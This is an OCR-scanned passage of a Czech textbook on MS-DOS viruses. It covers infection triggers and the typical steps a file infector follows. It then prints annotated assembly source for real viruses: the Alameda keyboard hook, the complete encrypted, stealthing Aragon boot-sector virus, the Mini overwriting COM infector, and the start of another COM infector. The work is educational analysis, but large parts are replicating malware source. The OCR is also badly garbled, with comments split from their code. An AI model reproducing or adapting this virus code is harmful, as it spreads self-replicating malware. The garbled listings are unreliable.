Okamzik infikace charakteristicky pro nerezidentni viry. Napadeny program je vybran pouzi-
tim sluzeb volani Dosu 4eh — ,Najdi prvni soubor” resp. 4th — | Najdi dali soubor”. Pfi vo-
lani téchto sluzeb virus definuje masku souborti, které chce infikovat. Nejcastéji se pochopi-
telné jedna o masky ,*.COM" a ,* . EXE", specifikujici hlavni varianty spustitelngch soubor.

Zajimavy je pro nékteré viry i viSe uvedeny okamzik volani sluzeb 11h -, Najdi prvni sou-
bor pfes FCB* a 12h — ,Najdi dalsi soubor ptes FCB*. Jedna se o star3i sluzby volani Dosu,
které pouziva napt. piikazovy interpret COMMAND.COM pfi interpretaci ptikazu dir. Vzhle-
dem k Castému pouziti piikazu dir je tento mechanismus uzivan velice rychlymi infektory.
Ptedstavitelem je napt. virus Little Red.

Je pochopitelné, Ze uvedeny popis je pouze popisem infikace programu virem, ktery je jiz
aktivni v paméti. Jedna se tedy o replikaci viru; v Zddném pfipadé se nejedna o moznost ak-
tivace viru pouZitim p¥ikazu dir na adreséa¥, ve kterém se eventuélné zavirovang program na-
chazi. Tato neredlnd moZnost byva Castym mytem i v souvislosti s bootovacimi viry, kdy se
nezasvéceni lidé mylné domnivaji, Ze bootovaci virus miize napadnout podita¢ jiz v okamzi-
ku pfepnuti na zavirovanou disketu.

e Spusténi programu
Typicky okamzik infikace vétsiny souborovich virl. Rezidentni virus hlid& volani Dosu sluz-
bou 4bh - ,EXEC - Proved nebo nahrej program*, kdy pfimo ziska jméno spousténého pro-
gramu pro zavirovani.

e Otevfeni ¢i vytvofeni programu
Obdobna situace jako v pfipadé spusténi programu s jedingm rozdilem, Ze v tomto pfipadé
virus monitoruje sluzbu 3dh - ,,Otevii soubor®. JelikoZ u této sluzby virus nevi, jaky soubor
je oteviran, musi nejprve otestovat, zda jméno oteviraného souboru obsahuje spustitelnou
pfiponu. V podstaté synonymni je sluzba 3ch -, Vytvor soubor*.
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¢ Ukonéeni programu
Okrajova moznost infikace zejména programti *.COM prostiednictvim prerueni int 20h. Pri
vyvolani tohoto pferusenti plati pro soubory *.COM, Ze segmentova hodnota CS = PSP (Pro-
gram Segment Prefix). Tim mé virus moZnost pfimo Zzjistit adresu segmentu datové oblasti
prostfedi Dosu (DOS Environment) a odtud jméno ukonéovaného programu.

¢ Pfistup na disketu nechranénou proti zapisu

Okamzik infikace vgyhradné bootovacich vira. Virus obsluhuje pteruseni diskovich
vstupné/vystupnich operaci (int 13h) a kontroluje pozadavky na préaci s disketou. Pro vylou-
¢eni mozZnosti pfipadného prozrazeni testuji bootovaci viry, zda jesté bézi motor disketoveé
jednotky. Pokud jiz motor nebéZi, virus se dale nesnaZi o zavirovani vloZené diskety, nebot
pak by se musel motor znovu rozb&hnout a to by mohlo byt uZivateli, vzhledem k indikaci
LED diodou, napadné.

Nasleduje ukézka je vybrana z viru Aragon. Udaj na adrese 0000:043f poskytuje informa-
ci, které motory diskovich jednotek jsou v behu. Nulty bit reprezentuje mechaniku A:, prvni
bit mechaniku B: atd.

Xor ax, ax ; vynulovani registru AX

mov ds, ax ; DS = 0, systémovy datovy segment
test byte ptr ds:[43fh], 01 ; béZ1 motor mechaniky A:?

Jjz nebézi ; pokus o infikaci nebude

U nebootovacich virl je tento mechanismus aktuélni pouze pro souborové multipartitni viry,
které infikuji programy kopirované na disketu.

3.8. Typicky mechanismus infikace souborovych virs

Souboroveé viry pfi replikaci svého téla vykonavaji charakteristicky sled operaci, potfebnych pro
Uspédné zavirovani programu.

Tento charakteristicky sled nemusi samoziejmé nékteré souborové viry dodrZet, zejména pri-
mitivni viry neprovadéji operace Gschovy/obnovy atributtl souboru ¢i data a Casu vytvoteni apod.

Uschova atributt souboru

Vynulovani atributl souboru

Otevreni souboru pro rezim Cteni/zdpis

Cteni ze souboru

Je-1i jiZ soubor infikovan - konec - skok na Uzavfeni souboru
Uschova data a c¢asu souboru

Nastaveni souborového ukazatele na jeho konec
Nakopirovani viru do souboru

Nastaveni souborového ukazatele na jeho polatek
Zapis aktualizované hlavicky souboru

Obnoveni data a c¢asu souboru

Uzavreni souboru

Obnoveni nactenych atributl souboru

Ukonceni
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3.9. Simulace zavedeni operacniho systému

Existuje mala skupina virti, které dokazi dokonce preZit restart operacniho systému po stisku klaves
Ctrl+Alt+Del. Jejich procento je sice minimalni, nicméné sama skutecnost tohoto jevu zasluhuje vel-
kou pozornost. Diky tomu, chce-li uZivatel znovu zavést operacni systém pii odvirovani poéitace,
musi pouzit ,tvrdg* RESET stiskem tlacitka. Virus, diky své vlastni obsluze preruseni
z klavesnice (int 09h), monitoruje soucasny stisk inkriminovanych klaves. Zijisti-li, Ze tato kombina-
ce byla stisknuta, provede simulaci procesu zavedeni operaéniho systému a i nadale ztstane aktiv-
ni v paméti. Predstavitely jsou nap¥. viry Alabama ¢&i Fish. Virus Alabama pfi zjisténi stisku reseto-
vaci sekvence instaluje vlastni pferusovaci rutinu na uzivatelsky asovac (int 1ch) a provadi pfepinani
mezi textovim a grafickym reZimem, &imz vyvolava dojem provadéného zavadéni operaéniho sy-
stému. Nasledné vola pferuseni zavedeni operaéniho systému (int 19h), oviem pfi zachovani hod-
not pfislusnych preruseni. Zavérem se znovu nainstaluje na preruseni Dosu (int 21h) a opét moni-
toruje déni na poditadi.

Virus Alameda se v ramci teplého startu dokonce snazi infikovat disketu A:. Vybranyg frag-
ment ptredvadi béznou rezidentni praktiku ¢ekani na stisk horké klavesy:

virus_int_09h:

pushf ; Uschova

sti ; registru

push ax ;a

push bx ; povoleni

push ds ; preruSeni

push cs

pop ds ; DS = koéd viru

mov bx, [alt_ctrl] ; minuly scan kod

in al, 60h ; zjisti souasny scan kéd klavesy

mov ah, al ; a uloZ jej do AH

and ax, 887fh ; manipulace s priznakem, zda se jedna
; 0 stisk &1 uvolnéni klavesy

cmp al, 1dh ; je stisknuty Ctrl?

Jjne alt_test ; ne, otestuj na Alt

mov b1, ah ; (BL = 08h je-1i klavesa stisknuta,
; BL = 88h je-1i klavesa uvolnéna)

jmp continue ; proved origindlni obsluhu klavesnice

alt_test:

cmp al, 38h ; je stisknuty Al1t?

jne key_down ; ne, otestuj soucasny stisk

mov bh, ah ; (BL = 08h je-11 klavesa stisknuta,

BL = 88h je-11i klévesa uvolnéna)
Jmp continue

key_down:
cmp bx, 0808h ; je stisknuty Ctrl a AlL?
jne continue ; ne, provede se origindlni obsluha
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cmp al, 17h
je status
cmp al, 53h
je reboot
continue:
mov [alt_ctrl], bx
final:
pop ds
pop bx
pop ax
popf
db  Oeah
old_int_09 dd ?
status:
mov [alt_ctrl], bx
mov ax, [counter]
mov bx, 0040h
mov ds, bx
mov [0072h], ax
jmp final
reboot:

Potvrzeni zpracovani
in al, 61h
mov ah, al
or al, 80h
out 61h, al
xchg al, ah
out 61h, al

Vlastni reboot
mov dx, 03d8h
mov ax, 0800h
out dx, al
call delay
mov [alt_ctrl], ax
mov al, 3
int 10h
mov ah, 2
xor dx, dx
mov bh, dh

int 10h

posledniho

je stisknuto I7?

ano, bude nastavovat status reset flagu
je stisknut Del?

ano, skok na obsluhu rebootu

uloZz scan kéd pro pristi voldani

obnova
registri

“jmp far ptr...”
adresa povodni obsluhy

uschovej Ctrl a Alt status

uloZz ¢ita¢ do reset flagu

BIOS data segment

0040:0072 je totéz jako 0000:0472
0040:0072 reset flag

skok na puvodni obsTuhu

znaku
zjisti hodnotu frizeni
a uloZ ji
nastav potvrzeni
a zapis jej
nastav pOvodni
a zapis$ ji

kldvesnice
kldvesnice
hodnotu rizeni klédvesnice

[/0 port grafického adaptéru

AL = m6éd, AH = argument pro pozdéjsi
volani delay

nastav mod

zpozdovaci rutina

scan kéd = 0

AH 0 vlivem delay rutiny
nastav barevny rezim 80x25

nastav kurzor
na 0.rddek a 0.sloupec
0.strdnka obrazovky
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mov
mov
int

mov

call

cli
out

ah, 1
cx, 0607h
10h

ax, 0420h

delay

20h, al
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; nhastav
; typ
; kurzoru

; AH = parametr pro delay (AL = 20h
; pro nastaveni konce preruSeni volaného
; vz4apéti)
; zpozdovaci rutina
zakaz preruSeni

; a vy31i signal konce preruSeni na port
; radice 8259A

...obnova prvnich 32 vektorl preruSeni, jeZ byly uschovdny virem

pri spusténi operacniho systému...

; xor cx, cx (dano jiZz funkci delay)

mov ds, cx

mov word ptr [19h * 47, offset virus_int_19h ; nastav rebootovaci
mov [19h * 4 + 2], cs ; vektor na virus
mov ax, 0040h BIOS data segment

mov ds, ax

mov [0017h], ah vynulovani shift stavu klavesnice

inc word ptr [0013h] vraceni 1 kB paméti zpét systému

int

19h

znovu zavedeni operacniho systému

Oblast datovych proménnych viru

counter
alt_ctrl

dw 001Ch
dw 0

Podle hodnoty reset flagu na adrese 0040:0072 urcuje BIOS, zda se jednéa o teply & stude-
ny start operacniho systému. Hodnota 1234h dévéa na védomi, Ze byla stisknuta kombinace

Ctrl+Alt+Del.

V ramci virové obsluhy zavérecného volani int 19h se virus Alameda pokousi infikovat vlo-
Zenou disketu v mechanice A: a pred spusténim boot sektoru znovu instaluje svoji obsluhu na
prerudeni klavesnice.

Neékteré viry, na rozdil od snahy o pfeziti teplého startu, naopak samy reset pocitace vyvola-
vaji. Napf. virus Cascade vyvolava reset systému zcela ndhodné. Télo viru obsahuje vétsinou in-
strukci skoku jmp far ffff:0000 realizovanou nap¥. nasledujicim sledem instrukei:

mov
push
xor

push
retf

ax, Offffh
ax
ax, ax

ax

segmentova Cast adresy

vynulovani AX

offsetovda ¢dast adresy

vliastni realizace skoku na adresu ffff:0000
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Virus SVC pouziva pfimg skok instrukci:

jmp far f000:fff0

4. Zakladni virové konstrukce

Koncepce operacniho systému MS-DOS jednoznacné pfedurcuje podobu jednotlivich virovjch
konstrukci. Sva specifika maji bootovaci viry, stejné tak i jednotlivé typy virti souborovych. Vi-
rus pro zajisténi sveé ¢innosti v operaénim systému MS-DOS nemusi pfekonavat zadné systémo-
vé zébrany, staéi pouze, aby znal a dodrzel pfislusné systémoveé struktury.

Nasledujici &asti ukazuji podoby zakladnich typti virovgch konstrukei. Cast uvedengch zdro-
jovgch tvarti Ize nalézt na Internetu v undergroundovém magazinu 40Hex Virus.

4.1. Konstrukce bootovaciho viru

Konstrukce bootovaciho viru se odviji od skuteénosti, ze zavadéci sektor disku je pfi startu ope-
raéniho systému zaveden do paméti na adresu 0000:7c00 a poté spustén.

Dulezitou véci, kterou musi bootovaci viry respektovat, je signatura zavadéciho sektoru, kte-
ra udava jeho platnost. Jedna se o posledni dva bajty sektoru, jejichz hexadecimalni hodnoty
jsou 55 a AA.

Virus Aragon je jednim z bootovacich virt, jejichz kod je programatorsky snadno Citelng, coz
predurcuje jeho zdejsi uvedeni. Zaroven jsou na tomto viru dokumentovany velice primitivni pfi-
klady stealth techniky zavadéciho sektoru pevného disku (MBR) a kédovéni téla viru. Virus Ara-
gon navic patfi i mezi relativné neskodné viry, nebot neobsahuje destruktivni rutinu.

Z&Kkladni vlastnosti viru Aragon:

- Bootovaci virus.

— Stealth technika maskovani zavadéciho sektoru pevného disku.
— Xor-mechanismus kédovani téla viru.

— Kbdovaci konstanta — stav Citace tika asovace.

— Efektivni délka viru — 446 B.

— Obsazovanéa preruseni — pouze int 13h (diskové operace).

— Destruktivni &innost — Zadna.

- Pozice odloZeného originalniho zavadéciho sektoru:

pevny disk ... 0.hlava, 0.stopa, 9.sektor
disketa double density ... L.hlava, 0.stopa, 3.sektor
disketa high density ... 1.hlava, O.stopa, 14.sektor.

— Identifikace pfitomnosti viru na disku:
porovnani prvnich 4 B zavadéciho sektoru a téla viru.
Virus pouziva nésledujici proménné BIOSu:

- 0000:0413 celkova pamét v kB.
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- 0000:043f ptiznak, zda bézi motor disketové jednotky.
- 0000:046c citac tika Casovace.

Proménné BIOSu se nachazeji v datovém segmentu 0040. Vzhledem k manipulaci se seg-
mentem 0000 vsak vyuZivaji viry skuteénost, Ze adresace mista paméti napt. 0040:0012 je to-
toZné s adresaci 0000:0412. Proto i Aragon pfi odkazech na proménné BIOSu pouziva vzdy
adresaci druhého typu. JelikoZ je zavadéci sektor nahran do paméti od adresy 0000:7c00, jsou
na pfisludngch mistech zdrojového textu uvedeny pti adresaci proménnych posuny pravé o hod-
notu 7c00h.

Dalsim dilezitym faktem je, Ze z téla Aragonu je ve skutecnosti itelna pouze tvodni deko-
dovaci smyc¢ka. Pro pottebu statické analyzy (napt. Sourcerem) je v tomto pfipadé nutné natah-
nout virus do debuggeru, odkrokovat dekédovaci smycku a znovu uloZit télo viru na disk. Te-
prve pak lze pouzit staticky disassembler pro ziskani Gplného zdrojového tvaru viru.

Dekoédovaci smycka viru

org 0 ; direktiva prekladace
XOr ax, ax
mov ds, ax ; systémovy segment = segment viru
mov si, 7c00h + offset encoded ; dekddovat od...
mov cx, offset variables - offset encoded ; kolik...
mov bh, byte ptr ds:[7c00h + offset key] ; Cim. ..

1b1: ; vliastni dekdédovaci
xor byte ptr ds:[sil, bh ; smyCka pro délku
inc si ; zakddovaného Useku
Toop 1Db1 ; uloZenou v CX

Nastaveni zasobniku na télo viru

encoded: ; odtud je télo viru v origindlnim tvaru neCitelné!
cli ; zdkaz preruSeni pred manipulaci se zdsobnikem
mov SS, ax ; nastaveni zasobniku
mov ax, 7c00h ; na adresu 0000:7c00,
mov sp, ax ; tj. kde se virus prdvé nachazi
sti ; opétovné povoleni preruSeni

UloZeni adresy pro pozdégjsi skok na originalni zavadéci sektor

push ds ; segment = 0000
push ax ; offset = 7c00h, viz dale (*)

Uschova adresy originalni obsluhy pferuseni 13h

mov ax, word ptr ds:[13h*4] ; segmentova Cast
mov word ptr ds:[7c00h + old_int_13h], ax ; adresy
mov ax, word ptr ds:[13h*4+2] ; offsetovd cast
mov word ptr ds:[7c00h + old_int_13h+2]7, ax ; adresy

Snizeni velikosti celkové paméti o 1 kB
mov ax, word ptr ds:[413h] ; proménna BIOSu
dec ax ; sniZzeni o 1 kB

mov word ptr ds:[413h], ax ; uloZeni nové hodnoty
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NatazZeni viru pod horni hranici zékladni paméti 640 kB

mov cl, 6 ; vypocCet hodnoty segmentu viru
shl ax, cl ; z Udaje o celkové velikosti
mov es, ax ; paméti (nasobeni 64)
push ax ; segment viru (pro pozdéjsi skok pres retf)
Vlastni nataZeni

mov al, byte ptr ds:[46ch] ; proménnd BIOSu
mov byte ptr ds:[7c00h + offset keyl, al ; kdédovaci konstanta
mov cx, offset end_virus ; délka viru
mov si, 7c00h ; zdrojovy offset
xor di, di ; cilovy offset =0
cld ; smér posunu offsetu
rep movsb ; DS:ST -> ES:DI

Skok na nasleduijici instrukci do segmentu, kam byl virus natazen
mov ax, offset next ; prvni instrukce za retf
push ax ; offset (pro néasledujici skok pres retf)
retf

V tomto okamziku virus opousti oblast 0000:7c00 a skace do oblasti pod hranici
640 kB sem, resp. na ndsledujici instrukci.

Rekalibrace fadice disku

next:
XOor ax, ax ; 00 - sluZzba reset
mov es, ax ; segment bufferu (je vyuzito pozdéji)
int 13h

Urceni mista pro nacteni odloZeného zavadéciho sektoru

push cs

pop ds ; DS = segment viru (pod hranici 640 kB)
mov ax, 0201h ; 02 - sluzba ¢teni, 01 - poCet sektord
mov bx, 7c00h ; misto pro zavddéci sektor

mov cx, sector ; pozice odloZzeného boot sektoru

; Test, zda se virus aktivoval z pevného disku Ci z diskety
cmp cx, 9 ; je to pevny disk?
jne floppy ; ne, zaved boot sektor z diskety

NataZeni originalniho zavadéciho sektoru z pevného disku

mov dx, 0080h ; 00 - hlava, 80 - prvni pevny disk
int 13h
Jmp short speaker ; test, zda bude piskat reproduktor

NataZeni originalniho zavadéciho sektoru z floppy disku

floppy:
mov dx, 0100h ; 01 - hlava, 00 - disk A:
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Test

int 13h
jc speaker ; doSlo k chybé?

zda je pevny disk zavirovan (virus se aktivoval z diskety!)

Nacteni zavadéciho sektoru pevného disku

push cs
pop es ; ES = segment viru (pod hranici 640 kB)
mov ax, 0201h ; 02 - sluzba ¢teni, 01 - pocet sektoru
mov bx, 200h ; offset bufferu v segmentu viru
mov cx, 0001h ; 00 - stopa, 01 - sektor
mov dx, 0080h ; 00 - hlava, 80 - prvni pevny disk
int 13h
jc speaker ; doS1o k chybé?
Vlastni porovndni prvnich 4 B téla viru a zavadéciho sektoru
xor si, si ; SI =0
cld ; smér inkrementace SI
Todsw ; AX = DS:ST (l.slovo viru), SI = SI + 2
cmp ax, word ptr ds:[bx] ; porovnani prvniho slova
jne infect_hd ; infikuj pevny disk
Todsw ; AX = DS:ST (2.slovo viru), SI = SI + 2
cmp ax, word ptr ds:[bx + 2] ; porovnani druhého slova
jne infect_hd ; infikuj pevny disk
Test, zda bude zvukovy efekt &i nikoliv
speaker:
test byte ptr ds:[keyl, 7fh ; nizka
nop ; pravdépodobnost
Jjnz set_13 ; Sshody
Rozezvudi speaker (tahly piskot ,,nosné*)
in al, 61h ; naCteni PPI portu B
or al, 3 ; zapnuti speakeru
out 61h, al ; ulozeni PPI portu B
Jmp short set_13 ; nastaveni virové obsluhy int 13h
Infikace pevného disku
infect_hd:
Uschova originalniho zavadec1ho sektoru pevného disku
mov cx, 0009 ; 00 - stopa, 09 - sektor
mov sector, cx ; uloZeni Cisla odkladaciho sektoru
mov ax, 0301h ; 03 - sluzba zapisu, 01 - pocet sektoru
mov dx, 0080h ; 00 - hlava, 80 - prvni pevny disk
int 13h
jc speaker ; doSlo k chybé?

Zak6édovani téla viru
call crypt ; voldani koédovaci rutiny

; Vlastni zdpis viru do zavddéciho sektoru pevného disku
int 13h
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Nastaveni virové obsluhy pferueni 13h

set_13:
Xor ax, ax
mov ds, ax ; segment “interrupt vector table”
mov word ptr ds:[13h * 4], offset new_13 ; offset
mov word ptr ds:[13h * 4 + 2], cs ; segment

Skok na originalni zavadéci sektor (dozavadi se operaéni systém)
retf ; viz (*) vySe pri uloZeni adres na zasobnik
Zde virus konci svoji ¢innost a preddua Fizeni operaénimu systému. Jeho aktivita je vsak

zajisténa presmérovanim obsluhy preruseni 13h. S kazdou diskovou operaci tedy dojde
k jeho aktivaci.

Zakddovani téla viru

crypt proc near
Duplicitni nataZeni téla viru pro jeho zakd6dovani

xor si, si ; nataZeni virového
mov di, 200h ; téla do segmentu
mov bx, di ; viru za jeho
mov cx, offset end_virus ; aktivni télo, tj.
cld ; od offsetu
rep movsh ; 200h
Vlastni zakddovani
mov si, 200h + offset encoded ; kodovat od...
mov cx, offset variables - offset encoded ; kolik...
mov ah, byte ptr ds:[key] ; Cim. ..
_Ibl_: ; kodovaci
xor byte ptr ds:[si], ah ; rutina stejného
inc si ; typu jako
loop _1bl1_ ; v o Gdvodu viru
Pfiprava pro volani preruSeni 13h
inc cl ; CX 1 (0.stopa, 1l.sektor)
mov ax, 0301h ; 03 - sluZzba zéapisu, 01 - pocet sektoru
retn ; ndvrat z procedury
crypt endp

Virova obsluha pferuseni 13h

new_13:
Test, zda bude stealth mechanismus zavadéciho sektoru HD
cmp cx, 1 ; O.stopa, 1.sektor?
jne no_stealth

cmp dx, 80h ; O.hlava, prvni pevny disk?
jne no_stealth

cmp ah, 2 ; pozadavek na Cteni?
jne other ; zkusi jeSté test na zdpis
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; Provedeni Zddaného poZadavku
call old_13 ; volani plvodni obsluhy int 13h

Uschova registru
pushf
push cx
push ax

Stealth podstrceni originalniho zavddéciho sektoru pevného disku
mov ax, 0201h ; 02 - sluzba Cteni, 01 - poCet sektorl
mov cl, 9 ; odkladaci sektor
call old_13 ; volani plvodni obsluhy int 13h

; Obnova registri
pop ax

pop Cx

popf

; UkoncCeni preruSeni
retf 2

other:
; Posledni stealth test
cmp ah, 3 ; pozadavek na zdpis?
jne no_stealth

Uschova registri
push es
push bx
push cx

Proces tschouvy a obnovy registrt je u virti velice ¢asty. Viry musi zajistit, aby vSechny
registry zustaly i po jejich pouziti v ptivodnim stavu. V opaéném p¥ipadé hrozi kolaps
operacniho systému.

Stealth prepis origindalniho zavadéciho sektoru pevného disku

push ax ; UGschova AX

mov al, 1 ; 1. sektor

mov cl1, 9 ; odklédaci sektor

call old_13 ; volani plvodni obsluhy int 13h
pop ax ; obnova AX

Je jeSté co zpracovavat?
dec al ; 1. sektor jiZ byl zpracovdn
Jjz continue ; ne

; Dokonceni zbylého poZadavku

mov cl, 2 ; od 2.sektoru

add bx, 200h ; posun offsetu bufferu

call old_13 ; volani plvodni obsluhy int 13h
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continue:
; Obnova registri
pop CX
pop bx
pop es

; UkoncCeni preruSeni
retf 2

Neni pozadavek na praci se zavadécim sektorem pevného disku
no_stealth:
Uschova registru
push ds
push ax

Test, zda se pracuje s mechanikou A:
or dl, dl ; nastaveni priznakd
jnz finish ; nepracuje

Test, zda se toCi motor mechaniky A:
X0r ax, ax

mov ds, ax ; systémovy segment
test byte ptr ds:[43fh], 1 ; proménna BIOSu
jz finish ; motor se netoci

; Test Citace tikl Casovale po resetu
test byte ptr ds:[46ch], 3 ; proménnd BIOSu
jnz finish ; posun do role pomalejSiho infektoru

Obnova registri

pop ax

pop ds

; Provedeni zddaného poZadavku

call old_13 ; volani pavodni obsluhy int 13h
Voldni testu s pripadnou infikaci diskety

pushf ; Gschova priznaku

call infect_fd

popf ; obnova priznakl

; Ukonceni preruSeni
retf 2

finish:
Obnova registru
pop ax
pop ds

Skok na ptvodni obsluhu bez navratu do virové obsluhy
jmp dword ptr cs:[old_int_13h]
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Test, ptipadné infikace diskety

infect_fd proc near
Uschova registru
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push ax
push bx
push cx
push dx
push ds
push es
push si
push di
; Nacteni boot sektoru z diskety
push cs ; nastaveni registri
pop ds ; DS a ES
push cs ; na segment
pop es ; téla viru
mov ax, 0201h ; 02 - sluzba ¢teni, 01 - pocCet sektord
mov bx, 200h ; op8t offset za aktivni télo viru
mov cx, 0001h ; 00 - stopa, 01 - sektor
xor dx, dx ; 0.hlava, mechanika A:
call old_13 ; volani plvodni obsluhy int 13h
jc restore ; doSlo k chybé&?
; Test, je-1i jiZ disketa zavirovadna ¢i nikoliv
xor si, si
cld ; totozné,
lodsw ; Jjako ve
cmp ax, word ptr ds:[bx] vyse
jne infect ; uvedeném
lTodsw ; testu
cmp ax, word ptr ds:[bx+2] pevného disku
je restore
infect:

; Uschova origindlniho boot sektoru

mov ax, 0301h 03 - sluzba zapisu, 01 - pocCet sektorl

mov dh, 1 ; 1.hlava

mov cl, 3 ; odkladaci sektor pro double density
Test, zda je disketa double (DD) ¢i high (HD) density

; (pro urceni

odkléddaciho sektoru)

cmp byte ptr ds:[bx + 15h], 0fdh test deskriptoru FD

je double ano, disketa je DD

mov cl, Oeh ; ne, disketa je HD
double:

Z/apis urceného Cisla odklddaciho sektoru

mov sector, cx

GUschova inkriminovaného ¢isla

z4dpis origindlniho boot sektoru

call old_13 ; a vlastni
jc restore doSTo k chybé?
xor dh, dh

prfiprava - 0.hlava
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Zakodovani téla viru
call crypt ; volani kdédovaci rutiny

; Zapis viru do boot sektoru diskety
call ol1d_13 ; vSechny parametry jiZz byly pripraveny

restore:
Obnova registru a ukoncCeni procedury

pop di
pop si
pop es
pop ds
pop dx
pop €x
pop bx
pop ax
retn

infect_fd endp

Vlastni volani ptivodni obsluhy pteruseni 13h

old_13 proc near
pushf
db 9ah ; 7"call far ptr...”
old_int_13h dd ? ; adresa plvodni obsTluhy
retn
old_13 endp
Nezakédované datovéa oblast proménngch viru
variables: ; proménné viru
Cislo sektoru, na kterém je uloZen origindlni boot sektor
sector dw Oeh

Kédovaci konstanta pro funkci xor
key db 0

Vypln (zbytecné) - patrné podpis autora viru
garbage db ‘JMH”’
end_virus:

Virus jako celek je zalezZitost dosti ndroéna na komplexni pfehled préavé vykonavanygch &in-
nosti. Okomentovanim jednotlivich operaci se zdrojovy tvar zprthledni, coz ovsem plati i pfi
bézném programovani. Pouzitim skoku ,jmp dword ptr cs:[old_int_13h]“ (v sekci za navéstim
finish“) virus pfedava fizeni ptivodni obsluze preruseni 13h, ktera pak sama zajisti regulérni
ukonéeni pferudeni. Tento postup neni chybou, ale naopak bézné se vyskytujicim obratem
i u klasickgch rezidentnich programi. Jedna se o tzv. volani ptivodni obsluhy pferuseni bez
navratu do uZivatelské obsluhy pteruSeni (na rozdil od sekvence ptikaz ,pushf®, ,call far ptr
cs:[old_int_13h]“, ktera je volanim s navratem).
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4.2. Konstrukce souborového viru COM

Tvar programu typu COM je pfevzat z operaniho systému CP/M a plati pro néj néktera dule-
Zith omezeni:
— Program nesmi obsahovat zasobnik.
— Cel program po spusténi musi byt uloZen v jediném paméfovém segmentu velkém 64 kB.
— Na zacatku programu musi byt vyhrazeno direktivou org 100h 256 B pro prefix progra-
mového segmentu (PSP).

Z uvedenych omezeni vypljva nejenom, Ze startovaci adresa programu je rovna hodnoté
100h, ale take, Ze maximalni délka programu je 65 280 B (tj. 64 kB — 100h). Z tohoto divodu
musi ,,dobfe” napsany virus zajistit, Ze po zavirovani programu nedojde k prekroceni limitu jeho
délky, coz by nutné vedlo k havarii programu. Viry COM se tedy vétsinou z maskovaciho divo-
du vyhgbaji napadeni ,,maljch® programu a z divodu systémového pak programu ,,velkgch®.

V okamziku, kdy je program *.COM spustén, vytvaii operacni systém strukturu PSP tak, Ze
pro ni vybere nejnizsi volnou adresu paméti. Pfimo nad PSP nahraje vlastni program a pteda
mu fizeni. Rizeni je vzdy pfedano na adresu PSP:0100, kde se nachézi pocateeni instrukce pro-
gramu. Princip konstrukce viru COM zavisi pravé na této skutecnosti. Virus v okamziku infika-
ce programu prepide jeho Gvodni ptikazovou sekvenci skokem na své télo (,jmp virus“). Tim
zajisti, Ze po spusténi programu dojde k jeho aktivaci. Dfive v3ak, nez dojde k vlastnimu pte-
pséani, provede virus Gschovu plvodnich instrukci. Nejcastéji se jedna o prvni 3 B, které veli-
kostné pokrgvaji pravé rozsah instrukce ,,jmp virus“. Po ukon&eni své Cinnosti virus provadi ob-
novu uschovanych instrukci spolu s findlnim skokem na restaurovany Gvod napadeného
programu. Tato sekvence mutZe vypadat nésledovné:

push cs ; nastaveni datovych

push cs ; registra DS a ES na virus

pop ds ; (pokud byly predtim

pop es ; jejich hodnoty zménény)

mov di, 100h ; nahrej na adresu 100h

mov si, offset saved_byted ; to, co bylo uschovano

movsw ; DS:ST -> ES:DI (obnoveni 2 B)

movsh ; DS:ST -> ES:DI (obnoveni 1 B)

mov di, 100h ; priprava skoku na PSP:0100

Jmp di ; a vlastni spuSténi programu
saved_bytesdb 3 dup (7) ; Gschovnd oblast

Casto pouzivanou polozkou prefixu programového segmentu je DTA (Disk Transfer Area).
Jedna se o oblast diskového prenosu, majici §iroky rozsah vyuziti. MS-DOS po spusténi pro-
gramu nastavuje implicitni adresu DTA na hodnotu PSP:0080, kde se nachézi parametry pfi-
kazového tadku. Sluzba Dosu 4eh — ,Najdi prvni soubor (dle zadané masky)* vyuziva DTA pro
Gschovu vystupnich Gdajii 0 nalezeném souboru atd.
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Po spusténi programu *.COM dale plati, Ze hodnoty vsech datovych segmentti CS, DS, ES
a SS jsou stejné jako PSP. Hodnota SP bgva nastavena na konec PSP (obvykle Offfeh ¢i méné,
neni-li dostupnych celych 64 kB segmentu).

o Nerezidentni pfepisujici virus
Velice primitivnim piikladem souborového viru je virus kategorie Mini, kter§ podava zéklad-
ni pfedstavu o souborovych virech. Tento virus provadi pouze replikaci svého téla tak, Ze na-
pada pruni nalezeng program *.COM v pracovnim adresafi.

org 100h ; vyhrazeno pro PSP

mov ah, 4eh ; sluzba ”Najdi prvni soubor”
mov dx, offset mask ; maska pro hledani

X0r Cx, CX ; atributy - béZny soubor

int 21h ; vlastni voldni Dosu

Operaéni systém nyni vraci v oblasti DTA tdaje o nalezeném souboru. Na offsetu
DTA:001e se nachdzi jméno nalezeného souboru. Virus v dalsi éGsti vyuzivd, ze vlastni
DTA lezi v paméti na adrese PSP:0080; tedy nalezené jméno souboru se nachazi na ad-
rese PSP:[0080 + 001e].

mov ax, 3d0lh ; sluzba ”0Otevri soubor”, pro zdpis
mov dx, 80h + 1leh ; offset jména souboru
int 21h

Registr AX v této chuili obsahuje rukojet otevieného souboru (file handle), kterd se stdvd
prostfedkem pro dal$i manipulaci s otevifenym souborem.

mov bx, ax ; rukojet souboru

mov ah, 40h ; sluzba ”Zapis do souboru”
mov dx, 0100 ; pocatek programu (viru) *.COM
mov cx, offset end_virus - 100h ; délka viru

int 21h

Virus zkopiroval své télo na zacdtek napadeného programu, ¢imz prepsal ptivodni in-
strukce a program tim znicil. Proto jiz ted’ vse konéi volanim preruseni 20h.

int 20h ; ukonceni programu
mask db *.COM”,0 ; maska infikovaného programu
end_virus:

Velikost virli této kategorie jsou tadové desitky bajti. Primitivni virus, primitivni koéd progra-
mu. Pro korektné napsany kéd je mimo jiné nezbytné nutné osetfit testovani chybovich pfi-
znak, zajistit zachovani stavajiciho data a ¢asu souboru apod. Toto vie obsahuji nasledujici
»,demo* ukazky zakladnich konstrukci vird typu COM, EXE a SYS. U téchto virli neni uve-
den popis zékladnich vlastnosti jako v pfipadé bootovaciho viru Aragon, nebof se skutecné
jedné pouze o zdrojové tvary predvadécich vird pfimé akce pro dokumentovani zaklad(i vi-
rovych konstrukci. Tyto viry provadéji pouze replikaci svého téla, neobsahuji rezidentni insta-
laci ani neobsahuji Zadnou destruktivni rutinu.
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¢ Nerezidentni infektor souborui *.COM v pracovnim adresafi

DumbVirus segment

Assume cs:DumbVirus
org 100h ; vyhrazeno pro PSP
Start:
db 0e9h ; 7Jjmp duh”
dw 0 ; skok na vlastni virus
; Zde zacCind vlastni virus
duh:
call next
next:
pop bp ; zjisténi mista viru v paméti
sub bp, offset next ; pro posun v téle viru
; Obnova prvnich 3 B programu
lea si, [bp + offset stuffl] ; odkud
mov di, 100h ; kam
push di ; pro pozdéjsi predani rizeni programu (*)
